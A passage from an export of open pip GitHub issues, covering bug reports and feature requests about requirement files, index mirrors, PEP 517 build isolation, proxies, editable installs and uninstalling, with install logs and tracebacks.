  Running command C:\Users\sakurai\Desktop\ENV\Scripts\python.exe -u -c "import setuptools, tokenize;__file__='C:\\Users\\sakurai\\AppData\\Local\\Temp\\pip-wheel-k8cmdetq\\pip\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" clean bdist_wheel -d C:\Users\sakurai\AppData\Local\Temp\pip-wheel-t40qzaes
```

*Case no. 2: `--global-option=clean` via requirements.txt*

The `clean` doesn't appear and this is the issue I'd like to report.

```
echo pip --global-option=clean > requirements.txt
python -m pip -v wheel -r requirements.txt

  Running command C:\Users\sakurai\Desktop\ENV\Scripts\python.exe -u -c "import setuptools, tokenize;__file__='C:\\Users\\sakurai\\AppData\\Local\\Temp\\pip-wheel-s4jol4ag\\pip\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" bdist_wheel -d C:\Users\sakurai\AppData\Local\Temp\pip-wheel-yq4a_n_u
```
**Expected behavior**

Case no. 2 results the same with case no. 1.

**Notes**

1. I see that https://github.com/pypa/pip/issues/4118 is apparent in 18.1 but I'm not sure how much they are connected.
2. `pip install` doesn't seem to have the same issue.
3. ~~19.0.dev0 would be worse because `--global-option=clean` does no longer take an effect  even if the option is given via command line.~~
user: sakurai-youhei
labels: C: requirement file: Using `requirements.txt`
state: needs eyes: Needs a maintainer/triager to take a closer look
issue_6045: state: open
title: Ability to use multiple pypi mirrors with fallback support
body: At this moment pip can use only two index URLS and because most people have a dual setup with one public repository and one private one, it prevents them from setting up failover setups.

I will describe this common setup: main index url points to a  pypi mirror (usually a local proxy) which accelerates public package lookup and retrieval. The second url points to a local repository which is containes private or not-yet released packages (like ones you test in CI).

If the main mirror/proxy goes down or starts to misbehave, your entire build system is message as you have no way to configure pip to use a fallback.

Real life example http://logs.openstack.org/95/619595/10/check/tripleo-ci-centos-7-containers-multinode-pike/3169d86/job-output.txt.gz#_2018-11-28_09_53_10_469581 -- which is caused by some broken IPv6 routing on rax hosting. 

As there is no way to assure 100% reliability on a single mirror we need a way to tell pip to use fallbacks in case primary one timesout. 
user: ssbarnea
labels: C: download: About fetching data from PyPI and other sources
type: feature request: Request for a new feature
issue_6041: state: open
title: pip build command
body: Phase 2 from #5407 

> Allow pip to build packages for distribution - pip build

Some notes in https://github.com/pypa/pip/issues/5407#issuecomment-389621303

---

pip now has PEP 517 support and uses build isolation by default on packages with pyproject.toml files -- which means the way pip builds is difficult to reproduce externally in a trivial manner.

The `pip build` command would use the same code paths as PEP 517 with the sole difference being that it does not install the packages. It's essentially the `pip wheel` in a PEP 517 world.
user: pradyunsg
labels: C: wheel: The wheel format and 'pip wheel' command
type: feature request: Request for a new feature
C: cli: Command line interface related things (optparse, option grouping etc)
issue_6018: state: open
title: pyproject.toml-based builds lose proxy config for build-dependency installation
body: **Environment**

* pip version: 18.1
* Python version: 3.7.1
* OS: MacOS, Windows

**Description**

When behind a proxy, installing a project with a `pyproject.toml` defining a `build-system.requires` option will fail, because the [`BuildEnvironment.install_requirements()` implementation](https://github.com/pypa/pip/blob/master/src/pip/_internal/build_env.py#L147-L181) runs `pip` as a child process without copying across proxy configuration.

**Expected behavior**

Even in an isolated build environment, proxy access needs to be configured, so that build dependencies can be downloaded.

**How to Reproduce**

Block direct access to PyPI, and use a proxy to install `pyinstaller`, e.g. `pip install pyinstaller --proxy=http://webdefence.global.blackspider.com:80 --trusted-host=pypi.python.org`.

Disabling build isolation with `--no-build-isolation` and manually installing the build requirements first  lets you work around this issue.

**Output**

```sh
$ pip install pyinstaller --proxy=http://webdefence.global.blackspider.com:80 --trusted-host=pypi.python.org
Collecting pyinstaller
  Using cached https://files.pythonhosted.org/packages/03/32/0e0de593f129bf1d1e77eed562496d154ef4460fd5cecfd78612ef39a0cc/PyInstaller-3.4.tar.gz
  Installing build dependencies ... error
  Complete output from command c:\users\blaggr\appdata\local\programs\python\python37-32\scripts\python.exe -m pip install --ignore-installed --no-user --prefix C:\Users\blaggr\AppData\Local\Temp\pip-build-env-vd3w15r1 --no-warn-script-location --no-binary :none: --only-binary :none: -i https://pypi.org/simple --trusted-host pypi.python.org -- setuptools wheel:
  Collecting setuptools
    Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=15)")': /simple/setuptools/
    Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=15)")': /simple/setuptools/
    Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=15)")': /simple/setuptools/
    Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=15)")': /simple/setuptools/
    Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ReadTimeoutError("HTTPSConnectionPool(host='pypi.org', port=443): Read timed out. (read timeout=15)")': /simple/setuptools/
    Could not find a version that satisfies the requirement setuptools (from versions: )
  No matching distribution found for setuptools
```

I'm filing this ticket as a follow-up to a [Stack Overflow question](https://stackoverflow.com/q/53280131/100297), where a Windows user ran into this problem. They [shared their `pip -vvv` output](https://gist.github.com/blaggrob/19e7afcae2b4f1d36139fbf0a88a6651) to help diagnosing.

user: mjpieters
labels: type: bug: A confirmed bug or unintended behavior
state: awaiting PR: Feature discussed, PR is needed
C: PEP 517 impact: Affected by PEP 517 processing
issue_6005: state: open
title: logging setup too late
body: Based on the talking in this pr #5953, I am adding warning when any configuration variable is set to be empty string. But then I meet a problem. The warning does not display in "yellow" color.
And the reason is, the logging is set up after all arguments have been parsed. 
Wonder if it is necessary to make the logging setup a little bit earlier in the codes.

user: Albert-Guan
labels: state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
C: cli: Command line interface related things (optparse, option grouping etc)
issue_5997: state: open
title: uninstall doesn't remove scripts installed in 'editable' mode
body: **Environment**

* pip version: 18
* Python version: 3.6
* OS: ubuntu 18.04

**Description**
installed (setuputils) package with '-e' flag.  uninstalled package.  package scripts remain.

**Expected behavior**
uninstalling package should remove package scripts.

**How to Reproduce**
1. install package with `pip install -e`  which includes scripts=[] in the setup.py
2. uninstall same package with `pip uninstall`
3. observe that scripts are still on path

user: bjmuld
labels: type: bug: A confirmed bug or unintended behavior
project: setuptools: Related to setuptools
issue_5987: state: open
title: FEATURE: implement show also for not installed packages
body: It's quite annoying that there doesn't seem to be any simple way to show detailed package information for packages not already installed. (Why is that?)

So I propose to implement a `pip describe <package>` for packages not already installed.

user: E3V3A
labels: type: feature request: Request for a new feature
issue_5974: state: open
title: Use PyPI release virtualenv in test-requirements?
body: Now that virtualenv is readily maintained, would it make sense to switch away from downloading the master branch? I dug a bit into the history, but don’t really know why it is not using the PyPI version…
user: uranusjr
labels: C: tests: Testing and related things
project: virtualenv: Related to virtualenv
issue_5970: state: open
title: PROPOSAL: A new subcommand, 'pip thank'
body: ### Rationale

Recent events and discussions have highlighted the toxicity that can sometimes occur in FOSS communities, including Python's. Quoting @brettcannon's 2018 PyCon keynote:

> Everyone needs to act like everything is being done as a kindness for them.

**In furtherance of the goal of *facilitating community members' expressing appreciation* for the kindness done by developers and maintainers of Python packages**, this issue proposes a new `pip` subcommand, "`pip thank`", to ***facilitate and encourage users to express thanks to project devs &c.***

`pip` is proposed as the locus of this effort as it is a highly visible, central tool for many (most?) users of Python packages. Further, suitable metadata infrastructure appears already to be in place within `setuptools`/PyPI/Warehouse for this new subcommand to draw on, so implementation is anticipated to be relatively uncomplicated.

### Proposed New Functionality

The proposed functionality would be embodied in a new `pip` subcommand, `thank`.  As initially envisioned, it would take one or more arguments, to be interpreted as the names of PyPI packages, e.g.:

```
$ pip thank requests numpy
```

On this invocation, `pip` would retrieve the metadata `md` for each package and search/operate on it in a defined way:

 1. If the `project_urls` key in `md` is defined:
     a. Look for a key called `thank`; if it exists, `print('Thank {0}: {1}'.format(project_name, md['project_urls']['thank']))`
     b. Look for a key called `donate`; if it exists, `print('Donate to {0}: {1}'.format(project_name, md['project_urls']['donate']))`
 2. If `project_urls` is not defined, or if it *is* defined but neither the `thank` nor `donate` keys is present:
    a. If `md['url']` is defined, `print('Support {0} at: {1}'.format(project_name, md['url']`
    b. Otherwise, `print("Unfortunately, {} doesn't provide 'pip thank' information. :-/".format(project_name)`

 `thank` could point to, say, a Twitter feed, a comment form on a website, or an email address/mailing list. `donate` could point to a PayPal donation box, a donation web form, etc.; or, it could be omitted for projects not seeking financial support.

*In addition*, the tail of the output from `pip install` invocations (and possibly others?) would be expanded to include (color-formatted?) text to the effect of:

```
Like these projects? Run 'pip thank {project}' for info on how to support them.
```

### Implementation Hurdles

*None anticipated.*

As best as I can tell, the existence of the `project_urls` metadata field provides all the machinery needed for project authors/maintainers to specify where users can go to say "Thanks," or to provide financial support.

Using `md['url']` as a fallback would result in most projects returning *some* destination upon a `pip thank` invocation; the `pip thank` output would transition smoothly to the more-specific information provided by project authors/maintainers as they add it to their metadata.

user: bskinn
labels: resolution: deferred till PR: Further discussion will happen when a PR is made
type: feature request: Request for a new feature
issue_5913: state: open
title: Handling RECORD files with duplicate entries
body: From https://github.com/pypa/pip/issues/5868#issuecomment-430282534 and https://github.com/pypa/pip/pull/5883#issuecomment-430477833

The problem: RECORD may contain rows poiting to the same path, potentially with different sizes and hashes.

Points to discuss (may be expanded or modified):

* [x] Does PEP 376 or 427 need to be amended to explicitly prohibit this? If so, how?
    * No, the text is clear. Duplicate path entries make the RECORD invalid.
* [ ] Should (and how should) pip perform some extra steps when such a RECORD file is present?
* [ ] Should dynamically generated rows (e.g. `console_scripts`) be treated differently if they duplicate existing rows?
user: uranusjr
labels: type: enhancement: Improvements to functionality
C: wheel: The wheel format and 'pip wheel' command
state: needs discussion: This needs some more discussion
issue_5900: state: open
title: Add install option to hide "Requirement already satisfied" log info.
body: **What's the problem this feature will solve?**
I'm running `pip install -r requirements.txt` at each deployment to keep my third-parties up to date with the code. With several dozens of requirements, the log is pretty big, while I don't really care to know that 99 % of the libs was "already satisfied" from one deployment to the next one. The worst is sub-dependencies are also shown, so in fact I can get up to 200 lines displayed...

Most of the execution trace is:
```
Requirement already satisfied: setuptools==36.6.0 in my_venv/lib/python3.5/site-packages (from -r requirements.txt (line 8)) (36.6.0)
Requirement already satisfied: Django==2.1.2 in my_venv/lib/python3.5/site-packages (from -r requirements.txt (line 9)) (2.1.2)
Requirement already satisfied: django-formtools==2.1 in my_venv/lib/python3.5/site-packages (from -r requirements.txt (line 10)) (2.1)
Requirement already satisfied: djangorestframework==3.7.7 in my_venv/lib/python3.5/site-packages (from -r requirements.txt (line 11)) (3.7.7)
Requirement already satisfied: django-rest-framework-mongoengine==3.3.0 in my_venv/lib/python3.5/site-packages (from -r requirements.txt (line 12)) (3.3.0)
[...]
Requirement already satisfied: pycparser in my_venv/lib/python3.5/site-packages (from cffi>=1.4.1->cryptography>=1.1->fabric==2.3.1->-r requirements.txt (line 93)) (2.14)
```

**Describe the solution you'd like**
I would like to be able to hide those warnings with a simple command argument. For example:

```
pip install -r requirements.txt --no-warn-already-satisfied
```

**Alternative Solutions**
It seems that `-q` is doing the job, but it is hiding in fact all log message at INFO level, so new installations get hidden too... I still want to monitor that so I can log any environment changes from my deployment log.
For now, the only viable solution is to use standard UNIX tools, and exclude those lines with `grep`: https://stackoverflow.com/questions/36350951/hide-requirement-already-satisfied-warning It does work, but it could be better :) 

**Additional context**
The name `--no-warn-already-satisfied` would be consistent with other options that already exists in `pip install` arguments, such as `no-warn-conflicts` and `no-warn-script-location`

user: mlorant
labels: C: logging: Information Logging
type: feature request: Request for a new feature
issue_5898: state: open
title: the problem with replacing dependency links with PEP 508 URL requirements
body: My 2 cents: PEP 508 URLs are no replacement for dependency links, because of the lack of version specifiers.

For example, with dependency links, you can push a package on PyPI, with dependencies on other PyPI project, but the option to use a patched version for some of those dependencies (with some extra bug fixes) when using `--process-dependency-links`. I've use that myself on a project depending on PyObjc because the delay between releases is so long.

Additionally, the lack of version specifiers mean there's no way for pip to know if a existing installation is compatible or not: this is problematic when upgrading a project depending on another through a PEP 508 direct URL, but also make sharing a such a dependency between projects problematic.

And finally, dependency links are opt-in, and usable on PyPI. But PEP 508 URLs are forbidden by pip during install for projects originating from PyPI: for "security reasons". This, to me, does not really make sense: it's not like installing from PyPI only is secure!

That last point could be addressed by changing the behaviour in pip (maybe a `--allow-url=regexp` option?), but I don't see a way around the lack of version specifiers. Could the PEP be amended to allow `package >= 10.0 @ url`?
user: benoit-pierre
labels: state: needs discussion: This needs some more discussion
type: deprecation: Related to deprecation / removal.
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)
issue_5865: state: open
title: Include packages listed in setup_requires during download of package
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
When running `pip download -d . <package> --no-binary :all:` to prepare for a cross-platform offline installation, the dependencies in `setup_requires` of the package is not downloaded. Having a project with many dependencies that needs to be installed on multiple platforms in offline environments gets cumbersome to manage when some of the dependencies has some extra `setup_requires` packages specified.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
`pip download -d . <package> --no-binary :all:` (maybe with an extra option) should download all packages that are required to install the dependency.
user: OskarPersson
labels: type: feature request: Request for a new feature
issue_5835: state: open
title: uninstalling a package installed in editable mode should warn that original source remains
body: When uninstalling a package that was installed in editable mode, I think it would be helpful if the uninstall command would log that the original source still remains, and where it is. That way users will be less likely to have the mistaken impression that all the files were removed.
user: cjerdonek
labels: type: enhancement: Improvements to functionality
C: editable: Editable installations
issue_5823: state: open
title: Remove a package with its dependencies that are not required by other packages
body: **What's the problem this feature will solve?**
Uninstall a package with its dependencies that are not required by any other package

**Describe the solution you'd like**
A flag like `--remove-dependencies` that user can use with `pip uninstall <package_name>`

For example, I wrongly installed a package (Virtualenv or SystemGlobal) and then I realized I don't need that, Only footage I can see is the log of installation that says which packages are installed after  I ran `pip install jupyter`, There is no way to remove the package and its dependencies!
user: DarkSuniuM
labels: type: feature request: Request for a new feature
issue_5813: state: open
title: the new issue template should ask how pip was installed
body: A number of issues are caused by the use of distribution packaged version of pip:
* de-vendoring pip can cause subtle and hard to reproduce issues (e.g. #5757)
* some of the patches by package maintainers also break pip (e.g. https://github.com/pypa/pip/issues/4222#issuecomment-417646535)

Maybe add a new `How is pip installed?` field. Alternatively, maybe the user should be asked to paste to exact output of `pip --version` (and said output should be amended to at least mention if pip is de-vendored).

user: benoit-pierre
labels: type: maintenance: Related to Development and Maintenance Processes
state: awaiting PR: Feature discussed, PR is needed
issue_5801: state: open
title: No support for non-latin1 characters in credentials
body: **Environment**
* pip version:  9.0.3
* Python version:  3.6.5
* OS:  Windows Server 2012 R2

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
When attempting to install or even update anything with pip I get the old UnicodeEncodeError
**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
To work.
**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. Run any pip install/update command
2.  An error occurs.

**Output**

```
D:\Applications\Python36\Scripts>pip install pyodbc --log "C:\Users\kfrazi1\Downloads\log.txt" --trusted-host pypi.org -
-trusted-host files.pythonhosted.org
Collecting pyodbc
Exception:
Traceback (most recent call last):
  File "d:\applications\python36\lib\site-packages\pip\basecommand.py", line 215, in main
    status = self.run(options, args)
  File "d:\applications\python36\lib\site-packages\pip\commands\install.py", line 324, in run
    requirement_set.prepare_files(finder)
  File "d:\applications\python36\lib\site-packages\pip\req\req_set.py", line 380, in prepare_files
    ignore_dependencies=self.ignore_dependencies))
  File "d:\applications\python36\lib\site-packages\pip\req\req_set.py", line 554, in _prepare_file
    require_hashes
  File "d:\applications\python36\lib\site-packages\pip\req\req_install.py", line 278, in populate_link
    self.link = finder.find_requirement(self, upgrade)
  File "d:\applications\python36\lib\site-packages\pip\index.py", line 465, in find_requirement
    all_candidates = self.find_all_candidates(req.name)
  File "d:\applications\python36\lib\site-packages\pip\index.py", line 423, in find_all_candidates
    for page in self._get_pages(url_locations, project_name):
  File "d:\applications\python36\lib\site-packages\pip\index.py", line 568, in _get_pages
    page = self._get_page(location)
  File "d:\applications\python36\lib\site-packages\pip\index.py", line 683, in _get_page
    return HTMLPage.get_page(link, session=self.session)
  File "d:\applications\python36\lib\site-packages\pip\index.py", line 792, in get_page
    "Cache-Control": "max-age=600",
  File "d:\applications\python36\lib\site-packages\pip\_vendor\requests\sessions.py", line 521, in get
    return self.request('GET', url, **kwargs)
  File "d:\applications\python36\lib\site-packages\pip\download.py", line 386, in request
    return super(PipSession, self).request(method, url, *args, **kwargs)
  File "d:\applications\python36\lib\site-packages\pip\_vendor\requests\sessions.py", line 508, in request
    resp = self.send(prep, **send_kwargs)
  File "d:\applications\python36\lib\site-packages\pip\_vendor\requests\sessions.py", line 618, in send
    r = adapter.send(request, **kwargs)
  File "d:\applications\python36\lib\site-packages\pip\_vendor\cachecontrol\adapter.py", line 47, in send
    resp = super(CacheControlAdapter, self).send(request, **kw)
  File "d:\applications\python36\lib\site-packages\pip\_vendor\requests\adapters.py", line 405, in send
    conn = self.get_connection(request.url, proxies)
  File "d:\applications\python36\lib\site-packages\pip\_vendor\requests\adapters.py", line 303, in get_connection
    proxy_manager = self.proxy_manager_for(proxy)
  File "d:\applications\python36\lib\site-packages\pip\_vendor\requests\adapters.py", line 190, in proxy_manager_for
    proxy_headers = self.proxy_headers(proxy)
  File "d:\applications\python36\lib\site-packages\pip\_vendor\requests\adapters.py", line 384, in proxy_headers
    password)
  File "d:\applications\python36\lib\site-packages\pip\_vendor\requests\auth.py", line 63, in _basic_auth_str
    password = password.encode('latin1')
UnicodeEncodeError: 'latin-1' codec can't encode character '\ufffd' in position 2: ordinal not in range(256)
```

My password does have a special character in it, which is a requirement of the business.  I have environment variables for http/https proxy, I have also tried installing while passing the proxy in the command itself and get the same output.
I have tried changing the charset in my command window which did not work.  There are no spaces in my top level Python folder as one can see from the output.  Everything I and finding on the net is regarding charset or outdated software versions.  Any help you can give would be appreciated.  Thank you.
user: papparotzi
labels: type: bug: A confirmed bug or unintended behavior
project: vendored dependency: Related to a vendored dependency
state: awaiting PR: Feature discussed, PR is needed
issue_5800: state: open
title: Splitting out PackageFinder logic
body: ### What's the problem this feature will solve?

This is a continuation of the [discussion on distutils-sig](https://mail.python.org/mm3/archives/list/distutils-sig@python.org/thread/DSYIJDTAHDA7O25YMWPJULPTYI6UN542/), Donald suggested I should open an issue here to outline the intention. I’ll try to summarise previous discussions, and provide some extra context why this is desired.

The idea came out of Pipenv’s need to build a resolver independent from pip. Pipenv tries to generate a platform-independent “lock” (dependency graph) for the user-specified requirements. This means that it cannot use pip’s high-level CLI to find dependencies directly (because it filters out packages not matching markers). On the other hand, pip provides a variety of ways to “find” packages, including index servers, find-links, dependency links, VCS, etc. Since Pipenv is expected to be highly compatible to pip, it is likely a good idea for it to have an implementation matching pip’s.

### Describe the solution you'd like

The minimal requirement would be to document (standardise) pip’s current behaviour, and create an implementation (maybe largely copy from pip) based on that behaviour. The behaviour would be described as a PEP (or a part of one), and implemented in a standalone project. Whether pip will adopt the implementation to replace its current one is not relevant; it can freely decide either way.

Conceptually, I am splitting the current PackageFinder into two layers:

1. A finder that only considers Python version compatibility.
2. A finder (subclass of 1?) that also considers PEP 425 tags and filter out incompatible binaries.

I plan to first focus on the first part, and work on the second after the first part is settled.

The finder would contain three public functions:

* Given a requirement specification, find all possible “installation candidates”.
* Given a requirement specification or installation candidate, find a list of artifacts suitable for download.

For the requirement specification, `packaging.requirement.Requirement` would be used to interface. An additional class would be introduced for the installation candidate, modelled after `pip._internal.models.candidate.InstallationCandidate`.

Behaviourally, the finder would contain all (or almost all) functionalities in PackageFinder. One particular exception would be `add_dependency_links`. There is a particular FIXME that could be cleaned up, but would it be worth it? #4187 mentions it is still planned to be removed in pip 19, and maybe it should be omitted from the standardised behaviour altogether.

I am most definitely there are a lot of caveats needing address (“standardised”). Please raise any relevant topics.

----

A list of resolutions, updated so I (and others reading) don’t need to go through the whole thread:

* The implementation would be sans-IO
* Per-source filtering is not needed
* Accept packaging’s Requirement as input
* The final return value of the fetcher would be a flat list of links, not partitioned by version
* Do not need to consider dependency links support
user: uranusjr
labels: type: refactor: Refactoring code
state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
C: finder: PackageFinder and index related code
issue_5780: state: open
title: Updating remote links with new URLs for PEP508 functionallity
body: **What's the problem this feature will solve?**
Installing a wheel file from a URL will not install a new wheel if the link changes.

Example:
setup.py
```
install_requires=[
    "package@http://domain:port/link-0.1.3.whl
]
```

If you change that link and try to re-install or upgrade the parent package, pip ignores the new requirement.

If there is no way for the url/version to be checked when installing dependencies, the URL support added in PEP 508 seems problematic at best.

**Describe the solution you'd like**
Installing remote links should always be reinstalled, same as editable links seems to be the simplest method.

**Alternative Solutions**
We could instead try to guess/determine/specify versions in the requirement string.
Ex:
```
"package=0.1.3@http://domain:port/link-0.1.3.whl"
```
which would imply that the link provides version 0.1.3 that we could check against the currently installed package version
user: cam72cam
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
PEP implementation: Involves some PEP
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)
issue_5777: state: open
title: Feature request: Automatically uninstall malicious packages taken down from PyPI
body: **What's the problem this feature will solve?**
PyPI occasionally gets malicious packages uploaded to it. PyPI administrators remove the packages as quickly as possible, but sometimes users still install these packages before they are taken down, and the packages remain in the user's environment.

**Describe the solution you'd like**
At runtime, `pip` queries PyPI for a list of malicious packages that have been taken down from PyPI:
* if it doesn't find any of them in the local environment, it does nothing;
* if it finds a malicious package has been installed, it uninstalls it automatically.

**Additional context**
The necessary API doesn't currently exist on PyPI, but if this feature is accepted, it would be trivial to implement.
user: di
labels: type: security: Has potential security implications
type: feature request: Request for a new feature
issue_5738: state: open
title: Environment markers don't work with `-r requirements.txt` lines in a `requirements.txt`
body: Similar to #4530 which is for `-e` lines not supporting environment markers.  This ticket is about `-r` lines not supporting environment markers.

A requirements file like below works as expected.  Python2 gets gitignoreio==0.1.3 and py3 gets gitignoreio==0.1.4 (just dummy package and versions as an example here).  This was tested against pip 18.0.

```python3
gitignoreio==0.1.3 ; python_version < '3.0'
gitignoreio==0.1.4 ; python_version >= '3.0'
```

If the lines are including other requirements files via `-r` then the environment markers are seemingly ignored.

```python3
-r indirect.2.txt ; python_version < '3.0'
-r indirect.3.txt ; python_version >= '3.0'
```
Results in:

```
Double requirement given: gitignoreio==0.1.4 (from -r indirect.3.txt (line 1)) (already in gitignoreio==0.1.3 (from -r indirect.2.txt (line 1)), name='gitignoreio')
```

<details> <summary>Full shell log</summary>

```bash
altendky@lt:~/canmatrix$ tail -n +1 direct.txt indirect.{,2.,3.}txt
==> direct.txt <==
gitignoreio==0.1.3 ; python_version < '3.0'
gitignoreio==0.1.4 ; python_version >= '3.0'

==> indirect.txt <==
-r indirect.2.txt ; python_version < '3.0'
-r indirect.3.txt ; python_version >= '3.0'

==> indirect.2.txt <==
gitignoreio==0.1.3

==> indirect.3.txt <==
gitignoreio==0.1.4
altendky@lt:~/canmatrix$ rm -rf x; virtualenv -p python2.7 x; x/bin/pip install --upgrade pip; x/bin/pip install -r direct.txt; echo; echo; echo; x/bin/pip freeze
Running virtualenv with interpreter /home/altendky/.pyenv/shims/python2.7
New python executable in /home/altendky/canmatrix/x/bin/python2.7
Also creating executable in /home/altendky/canmatrix/x/bin/python
Installing setuptools, pip, wheel...done.
Requirement already up-to-date: pip in ./x/lib/python2.7/site-packages (18.0)
Ignoring gitignoreio: markers 'python_version >= "3.0"' don't match your environment
Collecting gitignoreio==0.1.3 (from -r direct.txt (line 1))
  Using cached https://files.pythonhosted.org/packages/41/88/6f32dde3072345430ae196b9313f72a172cbec37c9d6963b3ca9d60a139b/gitignoreio-0.1.3-py2.py3-none-any.whl
Collecting click (from gitignoreio==0.1.3->-r direct.txt (line 1))
  Using cached https://files.pythonhosted.org/packages/34/c1/8806f99713ddb993c5366c362b2f908f18269f8d792aff1abfd700775a77/click-6.7-py2.py3-none-any.whl
Collecting requests (from gitignoreio==0.1.3->-r direct.txt (line 1))
  Using cached https://files.pythonhosted.org/packages/65/47/7e02164a2a3db50ed6d8a6ab1d6d60b69c4c3fdf57a284257925dfc12bda/requests-2.19.1-py2.py3-none-any.whl
Collecting certifi>=2017.4.17 (from requests->gitignoreio==0.1.3->-r direct.txt (line 1))
  Using cached https://files.pythonhosted.org/packages/df/f7/04fee6ac349e915b82171f8e23cee63644d83663b34c539f7a09aed18f9e/certifi-2018.8.24-py2.py3-none-any.whl
Collecting chardet<3.1.0,>=3.0.2 (from requests->gitignoreio==0.1.3->-r direct.txt (line 1))
  Using cached https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl
Collecting urllib3<1.24,>=1.21.1 (from requests->gitignoreio==0.1.3->-r direct.txt (line 1))
  Using cached https://files.pythonhosted.org/packages/bd/c9/6fdd990019071a4a32a5e7cb78a1d92c53851ef4f56f62a3486e6a7d8ffb/urllib3-1.23-py2.py3-none-any.whl
Collecting idna<2.8,>=2.5 (from requests->gitignoreio==0.1.3->-r direct.txt (line 1))
  Using cached https://files.pythonhosted.org/packages/4b/2a/0276479a4b3caeb8a8c1af2f8e4355746a97fab05a372e4a2c6a6b876165/idna-2.7-py2.py3-none-any.whl
Installing collected packages: click, certifi, chardet, urllib3, idna, requests, gitignoreio
Successfully installed certifi-2018.8.24 chardet-3.0.4 click-6.7 gitignoreio-0.1.3 idna-2.7 requests-2.19.1 urllib3-1.23



certifi==2018.8.24
chardet==3.0.4
click==6.7
gitignoreio==0.1.3
idna==2.7
requests==2.19.1
urllib3==1.23
altendky@lt:~/canmatrix$ rm -rf x; virtualenv -p python3.7 x; x/bin/pip install --upgrade pip; x/bin/pip install -r direct.txt; echo; echo; echo; x/bin/pip freeze
Running virtualenv with interpreter /home/altendky/.pyenv/shims/python3.7
Using base prefix '/home/altendky/.pyenv/versions/3.7.0'
/home/altendky/.local/lib/python3.5/site-packages/virtualenv.py:1039: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
New python executable in /home/altendky/canmatrix/x/bin/python3.7
Also creating executable in /home/altendky/canmatrix/x/bin/python
Installing setuptools, pip, wheel...done.
Requirement already up-to-date: pip in ./x/lib/python3.7/site-packages (18.0)
Ignoring gitignoreio: markers 'python_version < "3.0"' don't match your environment
Collecting gitignoreio==0.1.4 (from -r direct.txt (line 2))
  Using cached https://files.pythonhosted.org/packages/04/99/0c2fd6695b82b0219b501fac9ac0839659a0693cb05511c0fc6963afe770/gitignoreio-0.1.4-py2.py3-none-any.whl
Collecting click (from gitignoreio==0.1.4->-r direct.txt (line 2))
  Using cached https://files.pythonhosted.org/packages/34/c1/8806f99713ddb993c5366c362b2f908f18269f8d792aff1abfd700775a77/click-6.7-py2.py3-none-any.whl
Collecting requests (from gitignoreio==0.1.4->-r direct.txt (line 2))
  Using cached https://files.pythonhosted.org/packages/65/47/7e02164a2a3db50ed6d8a6ab1d6d60b69c4c3fdf57a284257925dfc12bda/requests-2.19.1-py2.py3-none-any.whl
Collecting urllib3<1.24,>=1.21.1 (from requests->gitignoreio==0.1.4->-r direct.txt (line 2))
  Using cached https://files.pythonhosted.org/packages/bd/c9/6fdd990019071a4a32a5e7cb78a1d92c53851ef4f56f62a3486e6a7d8ffb/urllib3-1.23-py2.py3-none-any.whl
Collecting certifi>=2017.4.17 (from requests->gitignoreio==0.1.4->-r direct.txt (line 2))
  Using cached https://files.pythonhosted.org/packages/df/f7/04fee6ac349e915b82171f8e23cee63644d83663b34c539f7a09aed18f9e/certifi-2018.8.24-py2.py3-none-any.whl
Collecting chardet<3.1.0,>=3.0.2 (from requests->gitignoreio==0.1.4->-r direct.txt (line 2))
  Using cached https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl
Collecting idna<2.8,>=2.5 (from requests->gitignoreio==0.1.4->-r direct.txt (line 2))
  Using cached https://files.pythonhosted.org/packages/4b/2a/0276479a4b3caeb8a8c1af2f8e4355746a97fab05a372e4a2c6a6b876165/idna-2.7-py2.py3-none-any.whl
Installing collected packages: click, urllib3, certifi, chardet, idna, requests, gitignoreio
Successfully installed certifi-2018.8.24 chardet-3.0.4 click-6.7 gitignoreio-0.1.4 idna-2.7 requests-2.19.1 urllib3-1.23



certifi==2018.8.24
chardet==3.0.4
click==6.7
gitignoreio==0.1.4
idna==2.7
requests==2.19.1
urllib3==1.23
altendky@lt:~/canmatrix$ rm -rf x; virtualenv -p python2.7 x; x/bin/pip install --upgrade pip; x/bin/pip install -r indirect.txt; echo; echo; echo; x/bin/pip freeze
Running virtualenv with interpreter /home/altendky/.pyenv/shims/python2.7
New python executable in /home/altendky/canmatrix/x/bin/python2.7
Also creating executable in /home/altendky/canmatrix/x/bin/python
Installing setuptools, pip, wheel...done.
Requirement already up-to-date: pip in ./x/lib/python2.7/site-packages (18.0)
